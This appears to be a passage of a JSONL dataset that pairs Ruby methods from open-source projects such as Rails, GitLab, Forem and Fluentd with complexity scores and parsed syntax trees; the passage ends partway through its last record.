{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relations_test.rb","start_line":2392,"raw_source":"def test_locked_should_not_build_arel\n    posts = Post.locked\n    assert_predicate posts, :locked?\n    assert_nothing_raised { posts.lock!(false) }\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_locked_should_not_build_arel\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"posts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"locked\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"posts\"]},{\"type\":\"sym\",\"children\":[\"locked?\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"lock!\",{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"a8fc2e35-5f97-4728-93b5-fc0410ef7a0e"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/auth_pass_controller.rb","start_line":52,"raw_source":"def token_login\n    token = params[:token]\n    payload = decode_auth_token(token)\n\n    if payload && payload[\"user_id\"]\n      user = User.find_by(id: payload[\"user_id\"])\n      if user && user_not_signed_out?(user)\n        # Sign the user in\n        session[:user_id] = user.id\n    \n        # Set remember_created_at and remember_token\n        user.remember_me!\n        # Get Devise’s default cookie values\n        base_values = Devise::Controllers::Rememberable.cookie_values\n        # Dynamically adjust the domain to match the request domain\n        custom_domain = root_domain(request.host)\n        adjusted_values = base_values.merge!(domain: custom_domain)\n        # Set the actual remember cookie values as Devise does\n        cookie_values = adjusted_values.merge!(\n          value: user.class.serialize_into_cookie(user),\n          expires: user.remember_expires_at\n        )\n        # Set the cookie with the dynamically adjusted domain\n        cookies.signed[\"remember_user_token\"] = cookie_values\n\n        cookies[:forem_user_signed_in] = {\n          value: \"true\",\n          domain: \".#{custom_domain}\",\n          httponly: true,\n          secure: ApplicationConfig[\"FORCE_SSL_IN_RAILS\"] == \"true\",\n          expires: 2.year.from_now\n        }\n\n        render json: { success: true, user: { id: user.id, email: user.email } }\n      else\n        render json: { success: false, error: \"User not found\" }, status: :unauthorized\n      end\n    else\n      render json: { success: false, error: \"Invalid or expired token\" }, status: :unauthorized\n    end\n  end","complexity_score":61.65,"ast_json":"{\"type\":\"def\",\"children\":[\"token_login\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"token\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[null,\"decode_auth_token\",{\"type\":\"lvar\",\"children\":[\"token\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_id\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_id\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user_not_signed_out?\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"remember_me!\"]},{\"type\":\"lvasgn\",\"children\":[\"base_values\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Devise\"]},\"Controllers\"]},\"Rememberable\"]},\"cookie_values\"]}]},{\"type\":\"lvasgn\",\"children\":[\"custom_domain\",{\"type\":\"send\",\"children\":[null,\"root_domain\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"host\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"adjusted_values\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_values\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"lvar\",\"children\":[\"custom_domain\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cookie_values\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adjusted_values\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"class\"]},\"serialize_into_cookie\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"remember_expires_at\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"signed\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"remember_user_token\"]},{\"type\":\"lvar\",\"children\":[\"cookie_values\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"forem_user_signed_in\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_domain\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"httponly\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"secure\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationConfig\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FORCE_SSL_IN_RAILS\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"true\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"year\"]},\"from_now\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"email\"]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"User not found\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unauthorized\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"Invalid or expired token\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unauthorized\"]}]}]}]}]}]}]}","id":"3975027d-80bf-477c-b8f0-a5ddd5482870"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/models/sync_run.rb","start_line":90,"raw_source":"def set_defaults\n    self.status ||= self.class.aasm.initial_state.to_s\n    self.total_query_rows ||= 0\n    self.total_rows ||= 0\n    self.successful_rows ||= 0\n    self.failed_rows ||= 0\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_defaults\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"aasm\"]},\"initial_state\"]},\"to_s\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"total_query_rows\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"total_rows\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"successful_rows\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"failed_rows\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"98a97a49-a3b2-4bb2-86f0-c77c64973459"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/notifications/fanout.rb","start_line":426,"raw_source":"def silenced?(name)\n            @silenceable && @delegate.silenced?(name)\n          end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"silenced?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@silenceable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@delegate\"]},\"silenced?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"72660a12-599c-4f00-8571-f1532edccc03"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20241118164630_remove_onboarding_progresses_git_write_at_column.rb","start_line":15,"raw_source":"def up\n    remove_concurrent_index_by_name(TABLE_NAME, CREATE_INDEX)\n    remove_concurrent_index_by_name(TABLE_NAME, TEAM_INDEX)\n    remove_concurrent_index_by_name(TABLE_NAME, TRIAL_INDEX)\n    remove_concurrent_index_by_name(TABLE_NAME, VERIFY_INDEX)\n\n    remove_column(TABLE_NAME, COLUMN_NAME)\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"CREATE_INDEX\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"TEAM_INDEX\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"TRIAL_INDEX\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"VERIFY_INDEX\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"COLUMN_NAME\"]}]}]}]}","id":"5b05c0f8-ede9-4dd4-b2bc-006ec7445645"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/securerandom.rb","start_line":49,"raw_source":"def self.base36(n = 16)\n      SecureRandom.random_bytes(n).unpack(\"C*\").map do |byte|\n        idx = byte % 64\n        idx = SecureRandom.random_number(36) if idx >= 36\n        BASE36_ALPHABET[idx]\n      end.join\n    end","complexity_score":18.88,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"base36\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"n\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"random_bytes\",{\"type\":\"lvar\",\"children\":[\"n\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"C*\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"byte\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"idx\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"byte\"]},\"%\",{\"type\":\"int\",\"children\":[64]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]},\">=\",{\"type\":\"int\",\"children\":[36]}]},{\"type\":\"lvasgn\",\"children\":[\"idx\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"random_number\",{\"type\":\"int\",\"children\":[36]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BASE36_ALPHABET\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"idx\"]}]}]}]},\"join\"]}]}","id":"98cfd454-6b3b-44b8-acf6-e3cc8519e26b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_associations_test.rb","start_line":637,"raw_source":"def test_counting_with_counter_sql\n    assert_equal 3, Firm.first.clients.count\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_counting_with_counter_sql\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Firm\"]},\"first\"]},\"clients\"]},\"count\"]}]}]}","id":"2336901e-cde2-4213-9665-0d98f4d9469e"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/lib/action_mailer/base.rb","start_line":593,"raw_source":"def deliver_mail(mail) # :nodoc:\n        ActiveSupport::Notifications.instrument(\"deliver.action_mailer\") do |payload|\n          set_payload_for_mail(payload, mail)\n          yield # Let Mail do the delivery actions\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"deliver_mail\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mail\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"instrument\",{\"type\":\"str\",\"children\":[\"deliver.action_mailer\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_payload_for_mail\",{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"mail\"]}]},{\"type\":\"yield\",\"children\":[]}]}]}]}","id":"322ef199-5100-464e-a266-1a79c9f9d7f5"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/yaml_serialization_test.rb","start_line":65,"raw_source":"def test_new_records_remain_new_after_round_trip\n    topic = Topic.new\n\n    assert_predicate topic, :new_record?, \"New record should be new\"\n    assert_predicate yaml_load(YAML.dump(topic)), :new_record?, \"Record should be new after deserialization\"\n\n    topic.save!\n\n    assert_not topic.new_record?, \"Saved records are not new\"\n    assert_not yaml_load(YAML.dump(topic)).new_record?, \"Saved record should not be new after deserialization\"\n\n    topic = Topic.select(\"title\").last\n\n    assert_not topic.new_record?, \"Loaded records without ID are not new\"\n    assert_not yaml_load(YAML.dump(topic)).new_record?, \"Record should not be new after deserialization\"\n  end","complexity_score":25.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_new_records_remain_new_after_round_trip\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"topic\"]},{\"type\":\"sym\",\"children\":[\"new_record?\"]},{\"type\":\"str\",\"children\":[\"New record should be new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[null,\"yaml_load\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"topic\"]}]}]},{\"type\":\"sym\",\"children\":[\"new_record?\"]},{\"type\":\"str\",\"children\":[\"Record should be new after deserialization\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"new_record?\"]},{\"type\":\"str\",\"children\":[\"Saved records are not new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"yaml_load\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"topic\"]}]}]},\"new_record?\"]},{\"type\":\"str\",\"children\":[\"Saved record should not be new after deserialization\"]}]},{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"select\",{\"type\":\"str\",\"children\":[\"title\"]}]},\"last\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"new_record?\"]},{\"type\":\"str\",\"children\":[\"Loaded records without ID are not new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"yaml_load\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"topic\"]}]}]},\"new_record?\"]},{\"type\":\"str\",\"children\":[\"Record should not be new after deserialization\"]}]}]}]}","id":"c6e4de70-84a7-4453-92e2-f18e6ed7765e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_namespaces_redirect_routes_namespace_id.rb","start_line":11,"raw_source":"def perform\n        each_sub_batch do |sub_batch|\n          redirect_route_with_source = sub_batch\n            .joins('inner join namespaces on redirect_routes.source_id = namespaces.id')\n            .select(:id, 'namespaces.id as source_namespace_id')\n\n          connection.execute(<<~SQL)\n            WITH redirect_route_with_source AS (#{redirect_route_with_source.to_sql})\n            UPDATE redirect_routes\n            SET namespace_id = redirect_route_with_source.source_namespace_id\n            FROM redirect_route_with_source\n            WHERE redirect_routes.id = redirect_route_with_source.id\n          SQL\n        end\n      end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_sub_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"redirect_route_with_source\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_batch\"]},\"joins\",{\"type\":\"str\",\"children\":[\"inner join namespaces on redirect_routes.source_id = namespaces.id\"]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"namespaces.id as source_namespace_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WITH redirect_route_with_source AS (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redirect_route_with_source\"]},\"to_sql\"]}]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"UPDATE redirect_routes\\n\"]},{\"type\":\"str\",\"children\":[\"SET namespace_id = redirect_route_with_source.source_namespace_id\\n\"]},{\"type\":\"str\",\"children\":[\"FROM redirect_route_with_source\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE redirect_routes.id = redirect_route_with_source.id\\n\"]}]}]}]}]}]}","id":"bd622e97-c8b7-4f3f-96d7-d9a9f28076bd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/groups.rb","start_line":122,"raw_source":"def present_projects(params, projects)\n        options = {\n          with: params[:simple] ? Entities::BasicProjectDetails : Entities::Project,\n          current_user: current_user\n        }\n\n        projects, options = with_custom_attributes(projects, options)\n\n        present options[:with].prepare_relation(projects, options), options\n      end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"present_projects\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"arg\",\"children\":[\"projects\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"simple\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Entities\"]},\"BasicProjectDetails\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Entities\"]},\"Project\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"projects\"]},{\"type\":\"lvasgn\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"with_custom_attributes\",{\"type\":\"lvar\",\"children\":[\"projects\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"send\",\"children\":[null,\"present\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"with\"]}]},\"prepare_relation\",{\"type\":\"lvar\",\"children\":[\"projects\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"950bae50-70a8-4e4e-aa2a-026cc9401bdc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/settings/alerts.rb","start_line":105,"raw_source":"def authorization_key\n            find('input[id=\"authorization-key\"]').value\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"authorization_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"input[id=\\\"authorization-key\\\"]\"]}]},\"value\"]}]}","id":"9c53b580-d394-4e45-808c-b0dddf3ddcc0"}
{"repo_name":"openproject","file_path":"./repos/openproject/lookbook/previews/op_primer/email_updates_mode_selector_component_preview.rb","start_line":75,"raw_source":"def disabled\n      render OpPrimer::EmailUpdatesModeSelectorComponent.new(\n        enabled: false,\n        path: \"/projects/demo-project/meetings/113/toggle_notifications\",\n        title: \"Sidebar component title\",\n        enabled_description: \"Email updates are enabled for all users.\",\n        disabled_description: \"Email updates are disabled for all users.\"\n      )\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"disabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpPrimer\"]},\"EmailUpdatesModeSelectorComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"/projects/demo-project/meetings/113/toggle_notifications\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Sidebar component title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled_description\"]},{\"type\":\"str\",\"children\":[\"Email updates are enabled for all users.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disabled_description\"]},{\"type\":\"str\",\"children\":[\"Email updates are disabled for all users.\"]}]}]}]}]}]}","id":"bda731ee-f895-4703-bbfa-aa1c5dc3a13a"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/record_accessor.rb","start_line":33,"raw_source":"def initialize(param)\n          @keys = Accessor.parse_parameter(param)\n\n          if @keys.is_a?(Array)\n            @last_key = @keys.last\n            @dig_keys = @keys[0..-2]\n            if @dig_keys.empty?\n              @keys = @keys.first\n            else\n              mcall = method(:call_dig)\n              mdelete = method(:delete_nest)\n              mset = method(:set_nest)\n              singleton_class.module_eval do\n                define_method(:call, mcall)\n                define_method(:delete, mdelete)\n                define_method(:set, mset)\n              end\n            end\n          end\n        end","complexity_score":56.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"param\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@keys\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Accessor\"]},\"parse_parameter\",{\"type\":\"lvar\",\"children\":[\"param\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@keys\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@last_key\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@keys\"]},\"last\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@dig_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@keys\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-2]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dig_keys\"]},\"empty?\"]},{\"type\":\"ivasgn\",\"children\":[\"